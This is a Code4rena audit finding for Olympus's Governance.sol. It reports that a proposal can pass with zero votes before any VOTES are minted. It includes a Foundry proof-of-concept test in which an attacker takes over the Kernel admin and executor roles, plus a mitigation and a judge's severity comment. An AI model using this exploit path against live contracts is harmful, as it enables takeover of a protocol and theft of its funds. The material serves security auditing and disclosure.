Anyone can pass any proposal alone before first `VOTES` are minted

[code423n4]

Lines of code

https://github.com/code-423n4/2022-08-olympus/blob/2a0b515012b4a40076f6eac487f7816aafb8724a/src/policies/Governance.sol#L164 https://github.com/code-423n4/2022-08-olympus/blob/2a0b515012b4a40076f6eac487f7816aafb8724a/src/policies/Governance.sol#L217-L218 https://github.com/code-423n4/2022-08-olympus/blob/2a0b515012b4a40076f6eac487f7816aafb8724a/src/policies/Governance.sol#L268

Vulnerability details

Impact

Before any VOTES are minted anyone can activate and execute an arbitrary proposal even with 0 votes cast. So an attacker can pass any proposal (i.e. change the executor + admin of the Kernel, gaining access to all permissioned functions and to funds held).

Proof of Concept

Checks on vote numbers made in Governance.sol at lines L164, 217-218, 268 pass if VOTES.totalSupply() == 0. So, until no VOTES are minted, anyone can submit, activate and execute a proposal. There is no need to own or cast votes. This happens if OlympusGovernance is granted the executor role before any VOTES are minted (as in Governance.t.sol). The attacker can anticipate/frontrun the minting and pass a proposal to change both the Kernel admin and executor. Then he/she can upgrade malicious modules, steal funds from treasury...

A PoC was obtained modifying the setUp() of Governance.t.sol by keeping only what is before the minting of VOTES (up to L83 included). The test is as follows:

    function test_AttackerPassesProposalBeforeMinting() public {

        address[] memory users = userCreator.create(1);
        address attacker = users[0];
        vm.prank(attacker);
        MockMalicious attackerControlledContract = new MockMalicious();

        Instruction[] memory instructions_ = new Instruction[](2);
        instructions_[0] = Instruction(Actions.ChangeAdmin, address(attackerControlledContract));
        instructions_[1] = Instruction(Actions.ChangeExecutor, address(attackerControlledContract));

        vm.prank(attacker);
        governance.submitProposal(instructions_, "proposalName", "This is the proposal URI");

        governance.endorseProposal(1);

        vm.prank(attacker);
        governance.activateProposal(1);

        vm.warp(block.timestamp + 3 days + 1);

        governance.executeProposal();

        assert(kernel.executor()==address(attackerControlledContract));
        assert(kernel.admin()==address(attackerControlledContract));

    }

with

contract MockMalicious {}

Recommended Mitigation Steps

In Governance.sol check for a minimum VOTES totalSupply, similiar to the expected initial supply of VOTES when they have been fairly distributed, for example at line L164.

[0xean]

Leaving as High severity as this shows a clear path to loss of funds.